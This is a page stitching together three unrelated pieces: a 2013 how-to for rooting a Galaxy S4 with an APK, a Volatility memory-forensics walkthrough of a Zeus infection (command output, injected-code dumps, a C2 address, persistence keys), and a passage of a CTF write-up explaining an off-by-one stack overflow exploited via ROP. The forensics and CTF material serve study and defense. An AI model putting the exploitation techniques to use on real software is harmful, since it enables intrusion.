TIME TRAVEL: 2013 – GeoHot Release ActiveRoot To Easily Root The Samsung Galaxy S4 [How To]

Hacker GeoHot is known for jumping around various hacking scenes. He first started off working with iOS releasing numerous Jailbreaks, then transitioned into hacking the PlayStation and now it looks like he is getting into creating Android roots.

According to a thread on the XDA Developer Forums GeoHot has released a root as a single .apk file. Usually rooting is a little bit more complicated of a process compared to Jailbreaking, but with this ‘active’ root for the Galaxy S4 users simply need to install the .apk file and their device will become rooted.

How To Root The Galaxy S4 With GeoHot's ActiveRoot APK

GeoHot is calling the tool ActiveRoot and it is available to download for free from the official ActiveRoot website. The steps for using ActiveRoot to root your Galaxy S4 are simple.

  1. First go to Settings and click the “More” tab. Then go into security and check “Unknown Sources.”
  2. Next enable USB Debugging. Go to Settings and click on the “More” tab. Go into “About device.” Rapidly click on “Build number” until it it tells you that you have enabled developer options. Then go back and and Developer Options now appear in the “More” tab. Go in and check “USB Debugging.”
  3. Visit http://geohot.com/activeroot from your device and click the lampda picture to download the apk file.
  4. Run the apk. It should give you a message telling you that you have root.
  5. Visit the Play Store and download the Super User app of your choice (such as SuperSU).

Let us know if you were able to use ActiveRoot to root your Galaxy S4 in the comments.

Zeus Analysis in Volatility 2.0

Well I wanted to post another article about memory forensics with my favorite open source tool right now…. Volatility.  Can’t say enough great things about the documentation (very well written and expansive) and the community is very helpful in answering questions (even noobish ones).  So after I read MHL’s Stuxnet Analysis with Volatility 2.0 it inspired me to do my own sort of analysis with a different piece of malware to see how many artifacts I could come up with.  I’ll be referencing some in-depth deep dives to confirm the analysis.  At the end of the article the links will be given to those reports in full.  I’m going to assume no prior knowledge is known about Zeus.  We can use Volatility to start as well as confirm with multiple artifacts we are in fact infected with Zeus beyond any doubts.

Luckily for us we don’t have to infect a VM, take a memory dump and then analyze it (or have a friend ask for our help to cleanup their computer like here).  The folks at Volatilityhave provided a sample image that’s infected with Zeus for you to practice on.  They are in need of contribution with additional malware if you have any laying around that you’d like to share.  So download the image and follow along.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem imageinfo
Volatile Systems Volatility Framework 2.0
Suggested Profile(s) : WinXPSP3x86, WinXPSP2x86 (Instantiated with Win
XPSP2x86)
AS Layer1 : JKIA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (C:\RE\volatility2.0\py\volatility-2.0\zeus.vmem)
PAE type : PAE
DTB : 0x319000
KDBG : 0x80544ce0L
KPCR : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2010-08-15 19:17:56
Image local date and time : 2010-08-15 19:17:56
Number of Processors : 1
Image Type : Service Pack 2

So we can tell this is a XP SP2 image, no big surprise here.  Let’s grab a process listing.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem pslist
Volatile Systems Volatility Framework 2.0
Offset(V)  Name                 PID    PPID   Thds   Hnds   Time
---------- -------------------- ------ ------ ------ ------ -------------------
0x810b1660 System                    4      0     58    379 1970-01-01 00:00:00
0xff2ab020 smss.exe                544      4      3     21 2010-08-11 06:06:21
0xff1ecda0 csrss.exe               608    544     10    410 2010-08-11 06:06:23
0xff1ec978 winlogon.exe            632    544     24    536 2010-08-11 06:06:23
0xff247020 services.exe            676    632     16    288 2010-08-11 06:06:24
0xff255020 lsass.exe               688    632     21    405 2010-08-11 06:06:24
0xff218230 vmacthlp.exe            844    676      1     37 2010-08-11 06:06:24
0x80ff88d8 svchost.exe             856    676     29    336 2010-08-11 06:06:24
0xff217560 svchost.exe             936    676     11    288 2010-08-11 06:06:24
0x80fbf910 svchost.exe            1028    676     88   1424 2010-08-11 06:06:24
0xff22d558 svchost.exe            1088    676      7     93 2010-08-11 06:06:25
0xff203b80 svchost.exe            1148    676     15    217 2010-08-11 06:06:26
0xff1d7da0 spoolsv.exe            1432    676     14    145 2010-08-11 06:06:26
0xff1b8b28 vmtoolsd.exe           1668    676      5    225 2010-08-11 06:06:35
0xff1fdc88 VMUpgradeHelper        1788    676      5    112 2010-08-11 06:06:38
0xff143b28 TPAutoConnSvc.e        1968    676      5    106 2010-08-11 06:06:39
0xff25a7e0 alg.exe                 216    676      8    120 2010-08-11 06:06:39
0xff364310 wscntfy.exe             888   1028      1     40 2010-08-11 06:06:49
0xff38b5f8 TPAutoConnect.e        1084   1968      1     68 2010-08-11 06:06:52
0x80f60da0 wuauclt.exe            1732   1028      7    189 2010-08-11 06:07:44
0xff3865d0 explorer.exe           1724   1708     13    326 2010-08-11 06:09:29
0xff3667e8 VMwareTray.exe          432   1724      1     60 2010-08-11 06:09:31
0xff374980 VMwareUser.exe          452   1724      8    207 2010-08-11 06:09:32
0x80f94588 wuauclt.exe             468   1028      4    142 2010-08-11 06:09:37
0xff224020 cmd.exe                 124   1668      0 ------ 2010-08-15 19:17:55

Nothing immediately stands out to me as they all look like legitimate processes that are running on the box.  Let’s see if any of them are hiding with a new command fresh out of 2.0 which is psxview.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem psxview
Volatile Systems Volatility Framework 2.0
Offset       Name                 Pid      pslist     psscan     thrdproc   psp
id     csr_hnds   csr_list
0x80fbf910L  svchost.exe          1028     1          1          1          1
1          0
0x80ff88d8L  svchost.exe          856      1          1          1          1
1          0
0xff1d7da0L  spoolsv.exe          1432     1          1          1          1
1          0
0x80f60da0L  wuauclt.exe          1732     1          1          1          1
1          0
0xff2ab020L  smss.exe             544      1          1          1          1
0          0
0xff3667e8L  VMwareTray.exe       432      1          1          1          1
1          0
0xff247020L  services.exe         676      1          1          1          1
1          0
0xff217560L  svchost.exe          936      1          1          1          1
1          0
0xff143b28L  TPAutoConnSvc.e      1968     1          1          1          1
1          0
0xff203b80L  svchost.exe          1148     1          1          1          1
1          0
0xff1b8b28L  vmtoolsd.exe         1668     1          1          1          1
1          0
0xff255020L  lsass.exe            688      1          1          1          1
1          0
0xff3865d0L  explorer.exe         1724     1          1          1          1
1          0
0xff22d558L  svchost.exe          1088     1          1          1          1
1          0
0xff374980L  VMwareUser.exe       452      1          1          1          1
1          0
0xff1fdc88L  VMUpgradeHelper      1788     1          1          1          1
1          0
0xff218230L  vmacthlp.exe         844      1          1          1          1
1          0
0xff364310L  wscntfy.exe          888      1          1          1          1
1          0
0x80f94588L  wuauclt.exe          468      1          1          1          1
1          0
0xff25a7e0L  alg.exe              216      1          1          1          1
1          0
0xff1ecda0L  csrss.exe            608      1          1          1          1
0          0
0xff38b5f8L  TPAutoConnect.e      1084     1          1          1          1
1          0
0xff1ec978L  winlogon.exe         632      1          1          1          1
1          0
0xff224020L  cmd.exe              124      1          0          0          1
0          0
0x810b1660L  System               4        1          1          1          1
0          0

This uses multiple methods for looking at processes artifacts in memory.  If you see any that are 0’s for psscan, pslist and thrdproc it’s an attempt to hide the process by DKOM (Direct Kernel Object Manipulation).  Nothing interesting here so let’s see about some network connections.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem connections
Volatile Systems Volatility Framework 2.0
Offset(V)  Local Address             Remote Address            Pid
---------- ------------------------- ------------------------- ------

Well that’s disappointing.  No active connections at the time the memory dump was taken.  Let’s go a little deeper and scan for connections that may have been previously closed with connscan.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem connscan
Volatile Systems Volatility Framework 2.0
Offset     Local Address             Remote Address            Pid
---------- ------------------------- ------------------------- ------
0x02214988 172.16.176.143:1054       193.104.41.75:80             856
0x06015ab0 0.0.0.0:1056              193.104.41.75:80             856

Bingo!  We have 2 connections here that look to be listed to PID 856.  That’s SVChost which is odd.  Let’s see where these connections are located.  A whois report reveals that the IP is located in Moldova.

IP Address 193.104.41.75
Host 193.104.41.75
Location MD MD, Moldova, Republic of
City -, – –
Organization PE Voronov Evgen Sergiyovich
ISP PE Voronov Evgen Sergiyovich

It’s well known that a lot of malware calls Eastern Europe and Asia home.  So this is pretty suspicious but since it looks like all our processes appear legitimate we might be facing some malware that utilizes code injection.  To detect these types of processes MHL has released a great plugin here that utilizes malfind.  It will detect injected processes so let’s run that on our target image.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem malfind --dump-dir c:\re\zeus_demo
VMwareTray.exe       432    0x00d70000 0xd95fff00 VadS     0      PAGE_EXECUTE_R
EADWRITE
Dumped to: c:\re\zeus_demo\VMwareTray.exe.4be97e8.00d70000-00d95fff.dmp
0x00d70000   4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00    MZ..............

0x00d70010   b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00    ……..@…….

0x00d70020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    …………….

0x00d70030   00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00    …………….

0x00d70040   0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68    ……..!..L.!Th

0x00d70050   69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f    is program canno

0x00d70060   74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20    t be run in DOS

0x00d70070   6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00    mode….$…….

VMwareTray.exe       432    0x00e30000 0xe30fff00 VadS     0      PAGE_EXECUTE_R
EADWRITE
Dumped to: c:\re\zeus_demo\VMwareTray.exe.4be97e8.00e30000-00e30fff.dmp
0x00e30000   b8 35 00 00 00 e9 cd d7 ad 7b b8 91 00 00 00 e9    .5…….{……

0x00e30010   4f df ad 7b 8b ff 55 8b ec e9 ef 17 3e 76 8b ff    O..{..U…..>v..

0x00e30020   55 8b ec e9 95 76 39 76 8b ff 55 8b ec e9 be 53    U….v9v..U….S

0x00e30030   3a 76 8b ff 55 8b ec e9 d6 18 3e 76 8b ff 55 8b    :v..U…..>v..U.

0x00e30040   ec e9 14 95 39 76 8b ff 55 8b ec e9 4f 7e 3c 76    ….9v..U…O~<v

0x00e30050   8b ff 55 8b ec e9 0a 32 3a 76 8b ff 55 8b ec e9    ..U….2:v..U…

0x00e30060   7d 61 39 76 6a 2c 68 b8 8d 1c 77 e9 01 8c 39 76    }a9vj,h…w…9v

0x00e30070   8b ff 55 8b ec e9 c4 95 c8 70 8b ff 55 8b ec e9    ..U……p..U…

Disassembly:
00e30000: b835000000                       MOV EAX, 0x35
00e30005: e9cdd7ad7b                       JMP 0x7c90d7d7
00e3000a: b891000000                       MOV EAX, 0x91
00e3000f: e94fdfad7b                       JMP 0x7c90df63
00e30014: 8bff                             MOV EDI, EDI
00e30016: 55                               PUSH EBP
00e30017: 8bec                             MOV EBP, ESP
00e30019: e9ef173e76                       JMP 0x7721180d
00e3001e: 8bff                             MOV EDI, EDI
00e30020: 55                               PUSH EBP
[snip]

Well we have a lot of output so looks like a lot of our processes are injected with malcode.  The reason this plugin can find it is due to the fact of looking for kernel memory structures that work very closely with VirtualAlloc.  These memory structures are in a VAD tree and work closely with memory management aspects of the kernel.    There’s a lot more detailed explanation in the references section if you care to read further on the subject.  The plugin outputs hexdumps as well as assembly code at the base location of where the injected code was detected.  You can also pipe this output to a text file if it won’t fit in your console.

With all this output from our plugin let’s revisit our pstree command so we can get a hierarchical view on how the code injection may have cascaded.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem pstree
Volatile Systems Volatility Framework 2.0
Name                                        Pid    PPid   Thds   Hnds   Time
0x810B1660:System                               4      0     58    379 1970-01-
01 00:00:00
. 0xFF2AB020:smss.exe                          544      4      3     21 2010-08-
11 06:06:21
.. 0xFF1EC978:winlogon.exe                     632    544     24    536 2010-08-
11 06:06:23
... 0xFF255020:lsass.exe                       688    632     21    405 2010-08-
11 06:06:24
... 0xFF247020:services.exe                    676    632     16    288 2010-08-
11 06:06:24
.... 0xFF1B8B28:vmtoolsd.exe                  1668    676      5    225 2010-08-
11 06:06:35
..... 0xFF224020:cmd.exe                       124   1668      0 ------ 2010-08-
15 19:17:55
.... 0x80FF88D8:svchost.exe                    856    676     29    336 2010-08-
11 06:06:24
.... 0xFF1D7DA0:spoolsv.exe                   1432    676     14    145 2010-08-
11 06:06:26
.... 0x80FBF910:svchost.exe                   1028    676     88   1424 2010-08-
11 06:06:24
..... 0x80F60DA0:wuauclt.exe                  1732   1028      7    189 2010-08-
11 06:07:44
..... 0x80F94588:wuauclt.exe                   468   1028      4    142 2010-08-
11 06:09:37
..... 0xFF364310:wscntfy.exe                   888   1028      1     40 2010-08-
11 06:06:49
.... 0xFF217560:svchost.exe                    936    676     11    288 2010-08-
11 06:06:24
.... 0xFF143B28:TPAutoConnSvc.e               1968    676      5    106 2010-08-
11 06:06:39
..... 0xFF38B5F8:TPAutoConnect.e              1084   1968      1     68 2010-08-
11 06:06:52
.... 0xFF22D558:svchost.exe                   1088    676      7     93 2010-08-
11 06:06:25
.... 0xFF218230:vmacthlp.exe                   844    676      1     37 2010-08-
11 06:06:24
.... 0xFF25A7E0:alg.exe                        216    676      8    120 2010-08-
11 06:06:39
.... 0xFF203B80:svchost.exe                   1148    676     15    217 2010-08-
11 06:06:26
.... 0xFF1FDC88:VMUpgradeHelper               1788    676      5    112 2010-08-
11 06:06:38
.. 0xFF1ECDA0:csrss.exe                        608    544     10    410 2010-08-
11 06:06:23
0xFF3865D0:explorer.exe                      1724   1708     13    326 2010-08-
11 06:09:29
. 0xFF374980:VMwareUser.exe                    452   1724      8    207 2010-08-
11 06:09:32
. 0xFF3667E8:VMwareTray.exe                    432   1724      1     60 2010-08-
11 06:09:31

We did notice that services.exe looked to have some code injected into it.  Let’s take the parent process (winlogon.dmp that was dumped by malfind) and submit it to virustotal as PID 676 seems to be where the code injection is originating from in a hierarchical sense.

http://www.virustotal.com/file-scan/report.html?id=75a45694e30eecdb63d173fe18f2a6642113244e7049524d5331054c5ba07960-1316219032

Sure enough 26/44 say it’s malicious.  Seems most of the scans detect it as Zbot.   So let’s Google around find some reports and see if we can verify it’s presence elsewhere.  Now that we’re armed with some reports let’s verify some other artifacts on the system just to make sure this is Zbot.

“The install function searches for the “winlogon.exe” process, allocates some memory within it and decrypts itself into the process.”

Well what do you know it looks like Zbot/Zeus injects it’s code into winlogon.exe This was apparent after we did our malfind as it detected injected code into other processes. If you would use procexedump through volatility it would be fine if you submitted to an avscan as it uses the pe header to dump the memory image. The new code sections that were allocated and later written to will not be reflected in the original pe header that was loaded into memory. This is the exact reason why we had to use malfind (Thanks again MHL!) above and couldn’t just procdump based on pid.

“The bot executable is written to the hard drive as “C:\WINDOWS\system32\sdra64.exe”.”

Volatility has a useful plugin here that allows us to identify file handles that are still hanging around in memory filescan.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem filescan
Volatile Systems Volatility Framework 2.0
Offset(V) Obj Type #Ptr #Hnd Access Name
0x01090778 0x8109d560 1 0 R--r-d '\\WINDOWS\\system32\\winrnr.dll'
0x010915b0 0x8109d560 1 0 R--rwd '\\WINDOWS\\system32\\oleaut32.dll'
0x01091648 0x8109d560 1 0 R--rwd '\\WINDOWS\\system32\\rpcrt4.dll'
0x01091810 0x8109d560 1 0 R--rwd '\\WINDOWS\\system32\\csrss.exe'
0x01092270 0x8109d560 1 1 RW-rw- '\\WINDOWS\\WindowsUpdate.log'
[snip]
0x029d9b28 0x8109d560 1 1 R----- '\\WINDOWS\\system32\\sdra64.exe'
0x029d9cd8 0x8109d560 1 0 -WD--- '\\WINDOWS\\system32\\sdra64.exe'
[snip]

“The directory “C:\WINDOWS\system32\lowsec\” is created. This directory is not visible in Windows Explorer but can be seen from the command line. Its purpose is to contain the following files:

local.ds: Contains the most recently downloaded DynamicConfig file.
user.ds: Contains logged information.
user.ds.lll: Temporarily created if transmission of logs to the drop server fails.

These artifacts can also be found in the above file scan to further bolster the case that this is definitely Zeus.

“The Winlogon (“HKLM/SOFTWARE/Microsoft/WindowsNT/CurrentVersion/Winlogon”) registry key’s value is appended with the path of the bot executable: C:/WINDOWS/system32/sdra64.exe. This will cause the bot to execute when the computer restarts.”

Volatility sure enough has a feature to allow us to investigate registry entries. Namely the printkey command. So let’s check the reg key from our Zbot analysis to see that this is here too.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem printkey -K "Mi
crosoft\Windows NT\CurrentVersion\Winlogon"
Volatile Systems Volatility Framework 2.0
Legend: (S) = Stable (V) = Volatile
----------------------------
Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\software
Key name: Winlogon (S)
Last updated: 2010-08-15 19:17:23
Subkeys:
(S) GPExtensions
(S) Notify
(S) SpecialAccounts
(V) Credentials

Values:
REG_DWORD AutoRestartShell : (S) 1
REG_SZ DefaultDomainName : (S) BILLY-DB5B96DD3
REG_SZ DefaultUserName : (S) Administrator
REG_SZ LegalNoticeCaption : (S)
REG_SZ LegalNoticeText : (S)
REG_SZ PowerdownAfterShutdown : (S) 0
REG_SZ ReportBootOk : (S) 1
REG_SZ Shell : (S) Explorer.exe
REG_SZ ShutdownWithoutLogon : (S) 0
REG_SZ System : (S)
REG_SZ Userinit : (S) C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\
system32\sdra64.exe,
REG_SZ VmApplet : (S) rundll32 shell32,Control_RunDLL “sysdm.cpl

REG_DWORD SfcQuota : (S) 4294967295
REG_SZ allocatecdroms : (S) 0
REG_SZ allocatedasd : (S) 0
REG_SZ allocatefloppies : (S) 0
REG_SZ cachedlogonscount : (S) 10
REG_DWORD forceunlocklogon : (S) 0
REG_DWORD passwordexpirywarning : (S) 14
REG_SZ scremoveoption : (S) 0
REG_DWORD AllowMultipleTSSessions : (S) 1
REG_EXPAND_SZ UIHost : (S) logonui.exe
REG_DWORD LogonType : (S) 1
REG_SZ Background : (S) 0 0 0
REG_SZ AutoAdminLogon : (S) 0
REG_SZ DebugServerCommand : (S) no
REG_DWORD SFCDisable : (S) 0
REG_SZ WinStationsDisabled : (S) 0
REG_DWORD HibernationPreviouslyEnabled : (S) 1
REG_DWORD ShowLogonOptions : (S) 0
REG_SZ AltDefaultUserName : (S) Administrator
REG_SZ AltDefaultDomainName : (S) BILLY-DB5B96DD3

Well that key is certainly apparent and this is our persistence mechanism. So the Zeus/Zbot injector process is called at start-up to insert it’s hooks and malicious code in our legitimate looking processes to evade detection. This would be something you’d want to clean up if you were re-mediating the system as well.

“The Windows XP firewall is disabled. This causes a Windows Security Center warning icon to appear in the system tray, the only visible indication that the computer has been infected.”

It looks like Zeus/Zbot also takes care of disabling the Windows Firewall so your not annoyed with any popups while it’s pilfering through your banking data. Googling around there are some registry forensics blogs that keep track of the location for windows firewall settings. Using our command printkey we can detect if this is enabled or disabled in this specific image.


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem printkey -K "Co
ntrolSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile"
Volatile Systems Volatility Framework 2.0
Legend: (S) = Stable (V) = Volatile
----------------------------
Registry: \Device\HarddiskVolume1\WINDOWS\system32\config\system
Key name: StandardProfile (S)
Last updated: 2010-08-15 19:17:24

Subkeys:
(S) AuthorizedApplications

Values:
REG_DWORD EnableFirewall : (S) 0

So the firewall is currently disabled and if you notice the timestamp on the key as well. It looks like this was last updated at 2010-8-15 at 19:17:24. This is tidbit of information that you could use in a timeline analysis if you had to document to this level of detail. The specific Zeus/Zbot may not modify this key every time but check if its set according to it’s specifications. I’m not sure as I don’t have the file but it would be a reasonable assumption. Also the EnableFirewall key was not in the DomainProfile but only the StandardProfile for you registry pros out there.

“A closer look at its binary file reveals that the spyware was designed to monitor known ZBOT mutexes, _AVIRA_ and __SYSTEM__.”


C:\RE\volatility2.0\py\volatility-2.0>python vol.py -f zeus.vmem mutantscan
Volatile Systems Volatility Framework 2.0
[snip]
0x05ca17e8 0x810ae5e0 2 1 1 0x00000000 '_AVIRA_2108'
[snip]

Well there is certainly a mutex that has been recent in memory for AVIRA which ironically enough is the name of an antivirus engine. It was sent to poke fun at the anti-virus companies by the programmer’s of Zeus. It also looks from the above mutex that we have a 1.x version of Zeus/Zbot as in 2.x versions they use randomly generated GUID’s over mutexes to communicate.

So there we have it using Volatility we can get a look at a Zeus/Zbot infection and determine steps here for possible remediation just based on a memory dump. We’d have more resources if we were able to have access to the system as well so we could study the injector process to see if it has any other persistence mechanisms. It’s doubtful since this matches so closely to the typical Zeus/Zbot signature. I hope you enjoyed reading this article!

Edit: Looks like another Zeus article was written and is linked here to give you another viewpoint on this piece of malware.

References:

[1] – http://www.fortiguard.com/analysis/zeusanalysis.html

[2] – http://www.dfrws.org/2007/proceedings/p62-dolan-gavitt.pdf

[3] – http://www.eptuners.com/forensics/contents/examination.htm

[4] – http://www.sans.org/reading_room/whitepapers/malicious/clash-titans-zeus-spyeye_33393

[5] – http://www.symantec.com/connect/blogs/brief-look-zeuszbot-20

31C3 CTF: Maze write-up

This is my write-up for the maze challenge in the 31C3 CTF, that I played with the Hacking For Soju team. We “only” got 10th place (out of the 286 teams that scored any points at all), but considering that only me, capsl and avlidienbrunn had time to spend any time on it (and I was able to score 170 out of our 340 points, which would have given me the #33 spot if I had played alone), it wasn’t too shabby! 🙂 If I hadn’t been so sleepy/off during large parts of the CTF, I would probably have been able to score a bit more. Greets to capsl for brainstorming about the potential ROP-scenarios btw!

To make this write-up more useful for people that want to learn, I have tried to make it quite detailed.

The information for the challenge was:

The provided tar.gz file contained the binary for the challenge: maze

To run it as a server process on your own system, you can use the following command:

When connecting to the target, the following message is displayed:

Since the name of the challenge is “maze”, and we are presented with a message that states that we can only go east, the valid inputs are presumably east, west, north and south, and we are supposed to navigate through a maze in order to eventually reach some sort of goal. In order to understand exactly what is going on, and to see if there are any vulnerabilities that we can exploit along the way, our next step is to load the binary in IDA Pro and analyze the code. But first, let’s see what kind of protections are enabled for the binary in question, using checksec.sh.

I would suggest that you make a habit of checking which exploit mitigations have been enabled for your target before you start auditing it. For real-world targets, this will give you an idea of the preconditions you will probably have to meet in order to achieve reliable exploitation of the target (i.e. if information leaks are necessary, and so on). For CTF challenges, it can even provide hints on what kind of vulnerabilities to look for.

In this case, NX is enabled, so we will probably have to use a ROP based payload. PIE (Position-Independent Executable) is not enabled, so we will be able to use ROP gadgets from the executable itself even if ASLR is enabled on the target system. However, the binary is rather small, so there is probably only a limited number of suitable ROP gadgets available. Stack canaries are not enabled, which is a strong indication that the vulnerability to look out for in this case is probably a stack-based buffer overflow.

Do not rely completely on the information you determine this way though. In some cases (i.e, a poorly organized CTF), the binary running on the actual target is slightly different than the one provided, or some protections have been explicitly disabled/enabled on the target system.

Also note that the binary is a 64-bit Linux executable. Analyzing 64-bit (x86_64, to be specific) code has recently become a lot less time consuming, due to the release of Hex-Rays x64. Hex-Rays is an excellent decompiler plugin for IDA Pro, that lets you interactively work with the decompiled code in order to make sense of it. Note that there are still corner-cases that Hex-Rays is not able to handle, especially when dealing with obfuscated code and code that has been explicitly designed in order to make static analysis difficult. If you find something strange in the decompiled code, always perform manual analysis of the assembly code in question.

After the initial pass through the Hex-Rays decompiler, the code shown below is produced (note that irrelevant code, i.e the automatically inserted stub that is calling __libc_start_main() and the code handling initialization and cleanup, has been manually removed from the source code listing). While reading it, try to see if you can spot the vulnerability:

As you can see, this is a really small and simple program, and the Hex-Rays output is pretty readable as-is. When working with the code in IDA, I can clean things up further though. Renaming functions and variables, changing types and function definitions, adding comments, and manually fixing mistakes that has been made by IDA:s automatic code analysis, can make the code a lot easier to understand, and make it easier to spot vulnerabilities in the code.

After working with the code manually in IDA for a while, we end up with the following code. If you have not found the vulnerability yet, look for it once again while reading through the updated code listing:

If you did not find the vulnerability this time either, you need to practice more. 😉 In the original code, it was easy to overlook (although still quite visible, when taking the stack/frame pointer offsets in the automatically produced comments into account). In the revised code, the vulnerability is rather obvious though. Note how the decompiled code in the append_highscore() function (originally, sub_400CE0) has changed:

Before:

After:

As you can see, 1056 bytes is read into a 1056 byte buffer, but, it begins reading at offset 1. This means that we are able to overflow the buffer with one byte. While this is obviously a rather contrived example, off-by-one vulnerabilities are often found in the wild as well. Typical cases include people doing things like buf[sizeof(buf)] = X, or allocating room for strings without taking the terminating NUL-byte into account.

So, what can we accomplish with a 1-byte-overflow? Well, that obviously depends on what is stored right after the buffer in question, and if our target is running on a little-endian or a big-endian architecture. For little-endian architectures, including x86 and x86_64, the least significant byte (LSB) of a value, including pointers, is stored first. So, if we are overwriting the LSB of an address that is originally 0xbadc0ded, it is the ‘ed’ at the end of the address that will be overwritten, and not the ‘ba’ in the beginning of it. To make this clearer, here is an illustration of how the 32-bit value 0xbadc0ded is stored in memory (each hex-character represents 4 bits, so one byte is represented by two hex characters):

badc0ded-lsb

Overwriting the LSB of an address will thus shift it slightly, with up to 255 bytes depending on what the original value was. If the original value is 0x123456, overwriting the LSB with 00 will change it to 0x123400, effectively subtracting 0x56 from the original value. So, what is stored right after our buffer in this case? Well, the automatically produced comment for our buf-variable will reveal that right away. “[bp-420h]” means that the buffer is located at rbp (the current base/frame pointer value) minus 0x420 (and 0x420 = 1056). Note that rbp points to the location of the saved rbp value, that will be restored when returning from the function. Our 1-byte-overflow will overwrite the least-significant-byte of the saved rbp value, which means that we will be able to control (part of) rbp after append_highscore() has returned back into reached_goal().

Regarding frame pointers, note that they are actually forming a linked list. The current frame pointer value (rbp) points to the saved frame pointer value in the current function’s stack frame, and the saved frame pointer value points to the saved frame pointer of the calling function’s stack frame, and so on. Below you can see how the stack frames for each function in maze are linked together, at the time when append_highscore() is executed. Since the stack grows down, towards lower addresses, the ‘buf’ buffer in append_highscore()’s stack frame is stored at a lower address than all the saved frame pointer values.

maze stack

This description is a bit simplified though, since each function, including append_highscore(), saves a few other registers as well. While this is not apparent when looking in Hex-Rays, when looking at the actual assembly code in IDA we can see that the stack space that is being reserved for the buffer on the stack is actually 0x408 = 1032 bytes, and since this probably includes some extra padding added by gcc, the original size of the buffer in the source code was probably less than this. Most likely it was declared to be 1016 bytes, and the buf[1016] = ‘\0’ was actually buf[sizeof(buf)] = ‘\0’ in the original source code, and since the contents of the rbx register is pushed to the stack right before the stack space for buf is reserved, this actually means that the LSB of the saved rbx register is being overwritten with a NUL-byte regardless of if we are exploiting the overflow with read() or not.

function prologue for append_highscore()

When returning from append_highscore(), back into reached_goal(), the saved contents of the rbx, r12 and r13 registers are restored from the stack, as well as the saved frame pointer (rbp). In this case, reached_goal() is not using any of those registers before returning into main(), but if it did, that could have potentially resulted in other exploitable scenarios as well. Even though it did not matter in this particular case, always aim to have a complete understanding of everything that is going on, since there will be times when paying attention to those small details are crucial to success.

If reached_goal() would have referenced any local stack variables after append_highscore() returned, and if the assembly code produced to reference those variables used the base/frame pointer, that could have resulted in potentially exploitable side-effects for us as well. In cases such as this, when the function that was calling the vulnerable function is returning to a function one step further up the call-chain, an even more convenient opportunity arises though. For code that is compiled to use frame pointers, the function epilogue usually ends with “leave; ret”, or equivalently, “mov rsp, rbp; pop rbp; ret”. As you can see, this sets rsp = rbp (i.e, if we controlled the contents of rbp, we now control the stack pointer), pops the new rbp value, and finally returns (i.e. pops the return address, using the stack pointer that is now under our control). Looking at the code, we can see that it uses a variation of this, that sets rsp = rbp-0x28, restores 5 registers (5*8=40=0x28) and then pops rbp and returns.

function epilogue for reached_goal()

So, by exploiting the 1-byte-overflow of a stack buffer in append_highscore(), we will actually be able to control the stack pointer when returning from the reached_goal() function. In other words, we have control over where the return address is about to be retrieved. Pointing rsp into a buffer that we control the contents of will thus allow us to control the return address. Ideally, we want to point rsp into a buffer containing a full ROP chain to exploit the program in question. If we would have known the address of the system() function, and if the RDI register (that is used for storing the first function argument, in the standard x86_64 ABI) had contained the address of a buffer that we control the contents of, the full ROP chain in question would have only consisted of a return into system(). 🙂 Always keep in mind all the parameters that are under your control (i.e register values, buffer contents, and so on), and information you currently have (base addresses of libraries, the executable, stack/heap addresses, and so on), and what information you can potentially deduce. Sometimes there are case-specific shortcuts you can take in order to achieve reliable exploitation of a particular target.

As I mentioned earlier, overwriting the least-significant-byte of the saved rbp value will allow us to shift it to an address slightly further up or down the stack, with up to a maximum of 255 bytes (up to 248 bytes in this case, since the saved rbp value will obviously be aligned to an 8-byte-boundary). Shifting it to a higher address will not do us any good, since we do not control the contents of any stack buffers allocated there. Shifting it to a lower address can potentially point it into the ‘buf’ buffer though, depending on what the LSB of the original saved rbp value is. By overflowing with a NUL-byte, we ensure that we are effectively subtracting as much as possible from the saved rbp value, and maximize our chances of pointing rbp into our buffer.

Due to ASLR, the LSB of the saved rbp value will vary (and sometimes, the LSB will even be 0 to begin with), so it is possible that we need to make a few attempts in order to exploit this. When ASLR is enabled, the base address (and once again, keep in mind that the stack grows down towards lower addresses) of the stack will be randomized, and unlike the randomization of base addresses for dynamically loaded libraries, and PIE-binaries, the offset within the memory page will be randomized as well. For libraries/PIE-binaries, the 12 least significant bits will always remain the same, and can be used to narrow down the potential binary versions that are running on a system that you are exploiting in cases where you have found an information leak.

We now know where the vulnerability is, and have a rough idea of how to exploit it (i.e, overflow the LSB of the saved rbp with a NUL-byte, hoping that it is enough to point it into our buffer, where we will store a ROP chain). This was the easy part. 😉 To actually trigger the vulnerability, it turns out that we have to solve the maze. Since the maze is fairly large (179×95), we obviously don’t want to go through the process of solving the maze manually on each exploitation attempt (as I mentioned, the exploit will not work every time due to ASLR). Since the maze is static and hardcoded into the binary, we can just solve it manually and send the solution after connecting though.

Initially, I decided to make a small python script in order to visualize the maze. By analyzing the, slightly hairy, algorithm of the check_valid_moves_loop, we can deduce that maze_map[] is actually an array containing the x- and y-coordinates of all the occupied squares (the walls) in the maze. Even if we would not have been able to deduce this by looking at the code alone, it could have been deduced by analyzing the data in the array in question. Especially when visualizing it. 🙂

I made this script to extract the maze data from the binary, and create a PNG file:

This is the resulting PNG file:
maze

